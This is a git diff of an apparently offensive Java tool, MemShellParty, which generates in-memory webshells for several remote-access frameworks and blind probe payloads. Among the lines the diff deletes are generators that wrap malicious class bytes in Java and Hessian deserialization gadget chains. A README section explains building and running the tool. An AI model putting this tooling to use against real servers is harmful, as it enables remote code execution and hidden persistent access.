public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
||||
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
||||
@GetMapping("/command/configs")
|
||||
public CommandConfigVO getCommandConfigs() {
|
||||
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||
return commandConfigVO;
|
||||
}
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/generate")
|
||||
@CrossOrigin("*")
|
||||
public class GeneratorController {
|
||||
@PostMapping
|
||||
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
||||
} else {
|
||||
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
||||
}
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/memshell/generate")
|
||||
@CrossOrigin("*")
|
||||
public class MemShellGeneratorController {
|
||||
@PostMapping
|
||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
} else {
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/probe/generate")
|
||||
@CrossOrigin("*")
|
||||
public class ProbeShellGeneratorController {
|
||||
@PostMapping
|
||||
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||
ProbeConfig probeConfig = request.getProbeConfig();
|
||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
} else {
|
||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class GenerateResponse {
|
||||
private GenerateResult generateResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||
this.generateResult = generateResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.generateResult = generateResult;
|
||||
}
|
||||
}
|
||||
+17
-13
@@ -1,17 +1,19 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.Data;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
public class GenerateRequest {
|
||||
public class MemShellGenerateRequest {
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfigDTO shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
@@ -29,43 +31,45 @@ public class GenerateRequest {
|
||||
private String headerValue;
|
||||
private String shellClassBase64;
|
||||
private String encryptor;
|
||||
private String implementationClass;
|
||||
}
|
||||
|
||||
public ShellToolConfig parseShellToolConfig() {
|
||||
return switch (shellConfig.getShellTool()) {
|
||||
case Godzilla -> GodzillaConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
||||
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
||||
.pass(shellToolConfig.getGodzillaPass())
|
||||
.key(shellToolConfig.getGodzillaKey())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Behinder -> BehinderConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
||||
.pass(shellToolConfig.getBehinderPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
||||
.pass(shellToolConfig.getAntSwordPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Custom -> CustomConfig.builder()
|
||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class MemShellGenerateResponse {
|
||||
private MemShellResult memShellResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
||||
this.memShellResult = memShellResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.memShellResult = memShellResult;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.config.*;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
public class ProbeShellGenerateRequest {
|
||||
private ProbeConfig probeConfig;
|
||||
private ProbeContentConfigDTO probeContentConfig;
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
static class ProbeContentConfigDTO {
|
||||
private String host;
|
||||
private int seconds;
|
||||
private String server;
|
||||
private String sleepServer;
|
||||
private String reqParamName;
|
||||
private String reqHeaderName;
|
||||
}
|
||||
|
||||
public ProbeContentConfig parseProbeContentConfig() {
|
||||
return switch (probeConfig.getProbeMethod()) {
|
||||
case DNSLog -> DnsLogConfig.builder()
|
||||
.host(probeContentConfig.host)
|
||||
.build();
|
||||
case Sleep -> SleepConfig.builder()
|
||||
.seconds(probeContentConfig.seconds)
|
||||
.server(probeContentConfig.sleepServer)
|
||||
.build();
|
||||
case ResponseBody -> ResponseBodyConfig.builder()
|
||||
.reqParamName(probeContentConfig.reqParamName)
|
||||
.reqHeaderName(probeContentConfig.reqHeaderName)
|
||||
.server(probeContentConfig.server)
|
||||
.build();
|
||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class ProbeShellGenerateResponse {
|
||||
private ProbeShellResult probeShellResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
||||
this.probeShellResult = probeShellResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.probeShellResult = probeShellResult;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.boot.vo;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
@Data
|
||||
public class CommandConfigVO {
|
||||
private List<CommandConfig.Encryptor> encryptors;
|
||||
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
plugins {
|
||||
`kotlin-dsl`
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
rootProject.name = "build-logic"
|
||||
@@ -0,0 +1,38 @@
|
||||
plugins {
|
||||
id("com.vanniktech.maven.publish")
|
||||
}
|
||||
|
||||
mavenPublishing {
|
||||
publishToMavenCentral(true)
|
||||
signAllPublications()
|
||||
coordinates(
|
||||
"io.github.reajason",
|
||||
project.name,
|
||||
rootProject.version as String
|
||||
)
|
||||
|
||||
pom {
|
||||
name.set("MemShellParty")
|
||||
description.set(project.description)
|
||||
url.set("https://github.com/ReaJason/MemShellParty")
|
||||
inceptionYear.set("2025")
|
||||
licenses {
|
||||
license {
|
||||
name.set("MIT")
|
||||
url.set("https://spdx.org/licenses/MIT.html")
|
||||
}
|
||||
}
|
||||
developers {
|
||||
developer {
|
||||
id.set("reajason")
|
||||
name.set("ReaJason")
|
||||
url.set("https://reajason.eu.org")
|
||||
}
|
||||
}
|
||||
scm {
|
||||
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||
url.set("https://github.com/ReaJason/MemShellParty")
|
||||
}
|
||||
}
|
||||
}
|
||||
-119
@@ -1,119 +0,0 @@
|
||||
import com.vanniktech.maven.publish.SonatypeHost
|
||||
|
||||
version = '1.8.0'
|
||||
|
||||
buildscript {
|
||||
repositories {
|
||||
mavenCentral()
|
||||
gradlePluginPortal()
|
||||
}
|
||||
dependencies {
|
||||
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
||||
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
||||
}
|
||||
}
|
||||
|
||||
allprojects {
|
||||
group = 'io.github.reajason'
|
||||
|
||||
if (it.name != 'memshell-party-bom') {
|
||||
apply(plugin: 'java')
|
||||
apply(plugin: 'idea')
|
||||
apply(plugin: 'jacoco')
|
||||
apply(plugin: 'io.freefair.lombok')
|
||||
}
|
||||
|
||||
apply(plugin: 'com.vanniktech.maven.publish')
|
||||
|
||||
mavenPublishing {
|
||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
||||
signAllPublications()
|
||||
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
||||
|
||||
pom {
|
||||
name = 'MemShellParty'
|
||||
description = project.description
|
||||
url = 'https://github.com/ReaJason/MemShellParty'
|
||||
inceptionYear = '2025'
|
||||
licenses {
|
||||
license {
|
||||
name = 'MIT'
|
||||
url = 'https://spdx.org/licenses/MIT.html'
|
||||
}
|
||||
}
|
||||
developers {
|
||||
developer {
|
||||
id = 'reajason'
|
||||
name = 'ReaJason'
|
||||
url = "https://reajason.eu.org"
|
||||
}
|
||||
}
|
||||
scm {
|
||||
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
||||
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
||||
url = 'https://github.com/ReaJason/MemShellParty'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
||||
dependencies {
|
||||
implementation platform(project(':memshell-party-bom'))
|
||||
}
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
|
||||
idea {
|
||||
module {
|
||||
excludeDirs += file('src')
|
||||
}
|
||||
}
|
||||
|
||||
jacocoTestReport {
|
||||
reports {
|
||||
xml.required = true
|
||||
csv.required = true
|
||||
html.required = true
|
||||
}
|
||||
afterEvaluate {
|
||||
executionData.from fileTree(rootDir) {
|
||||
include '**/build/jacoco/**/*.exec'
|
||||
}
|
||||
|
||||
sourceDirectories = files('generator/src/main/java')
|
||||
|
||||
classDirectories.from(
|
||||
fileTree('generator/build/classes/java/main') {
|
||||
excludes = [
|
||||
'com/reajason/javaweb/memshell/**/godzilla/**',
|
||||
'com/reajason/javaweb/memshell/**/injector/**',
|
||||
'com/reajason/javaweb/memshell/**/command/**',
|
||||
'com/reajason/javaweb/config/**'
|
||||
]
|
||||
}
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
tasks.register('publishAllToMavenCentral') {
|
||||
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
||||
if (isSnapshot) {
|
||||
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
||||
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
||||
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
||||
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
||||
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
||||
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
||||
} else {
|
||||
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
||||
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
||||
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
||||
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
||||
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
||||
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("idea")
|
||||
}
|
||||
|
||||
idea {
|
||||
module {
|
||||
excludeDirs.add(file("src"))
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.1.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
dependsOn(":packer:publishToMavenCentral")
|
||||
dependsOn(":generator:publishToMavenCentral")
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
group = 'io.github.reajason'
|
||||
description = "Java deserialize payload for MemShellParty"
|
||||
version = rootProject.version
|
||||
|
||||
dependencies {
|
||||
implementation project(":memshell-party-common")
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
implementation 'com.caucho:hessian:4.0.66'
|
||||
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
||||
implementation 'commons-collections:commons-collections:3.2.1'
|
||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@Data
|
||||
public class DeserializeConfig {
|
||||
private PayloadType payloadType;
|
||||
}
|
||||
-24
@@ -1,24 +0,0 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class Hessian2DeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessian2Output.writeObject(obj);
|
||||
hessian2Output.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
}
|
||||
-24
@@ -1,24 +0,0 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.HessianOutput;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class HessianDeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessianOutput.writeObject(obj);
|
||||
hessianOutput.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JavaDeserializeGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes);
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(obj);
|
||||
oos.flush();
|
||||
oos.close();
|
||||
return baos.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public interface Payload {
|
||||
/**
|
||||
* 将恶意类字节流封装成序列化对象
|
||||
*
|
||||
* @param bytes 恶意类字节流
|
||||
* @return 序列化对象
|
||||
*/
|
||||
default Object generate(byte[] bytes) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
|
||||
/**
|
||||
* 将恶意类字节流封装成序列化对象
|
||||
*
|
||||
* @param bytes 恶意类字节流
|
||||
* @param className 恶意类名
|
||||
* @return 序列化对象
|
||||
*/
|
||||
default Object generate(byte[] bytes, String className) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||
import com.reajason.javaweb.deserialize.payload.java.*;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@Getter
|
||||
public enum PayloadType {
|
||||
/**
|
||||
* CB 链
|
||||
*/
|
||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||
|
||||
/**
|
||||
* CC 链
|
||||
*/
|
||||
CommonsCollections3(new CommonCollections3()),
|
||||
CommonsCollections4(new CommonCollections4()),
|
||||
|
||||
/**
|
||||
* Hessian XSLT write
|
||||
*/
|
||||
XSLTScriptEngine(new XSLTScriptEngine())
|
||||
;
|
||||
|
||||
private final Payload payload;
|
||||
|
||||
PayloadType(Payload payload) {
|
||||
this.payload = payload;
|
||||
}
|
||||
|
||||
public static PayloadType getPayloadType(String payloadType) {
|
||||
for (PayloadType value : values()) {
|
||||
if (value.name().equals(payloadType)) {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
## 本地构建
|
||||
|
||||
### 源代码构建
|
||||
|
||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||
|
||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||
|
||||
1. 使用 Git Clone 项目
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ReaJason/MemShellParty.git
|
||||
```
|
||||
|
||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||
|
||||
```bash
|
||||
cd MemShellParty/web
|
||||
|
||||
bun install
|
||||
|
||||
bun run build
|
||||
```
|
||||
|
||||
3. 构建后端项目,确保使用 JDK17 环境
|
||||
|
||||
```bash
|
||||
cd MemShellParty
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-2.0.0.jar
|
||||
```
|
||||
|
||||
也可这基础上再继续构建容器来使用
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
docker buildx build -t memshell-party:latest . --load
|
||||
|
||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
```
|
||||
|
||||
### Dockerfile 一键构建
|
||||
|
||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||
|
||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||
|
||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||
- CONTEXT_PATH: 后端访问前缀
|
||||
|
||||
```bash
|
||||
# 基础构建
|
||||
docker buildx build \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 基础镜像启动,访问 127.0.0.1:8080
|
||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||
|
||||
# 自定义访问路径构建
|
||||
docker buildx build \
|
||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||
--build-arg CONTEXT_PATH=/memshell-party \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
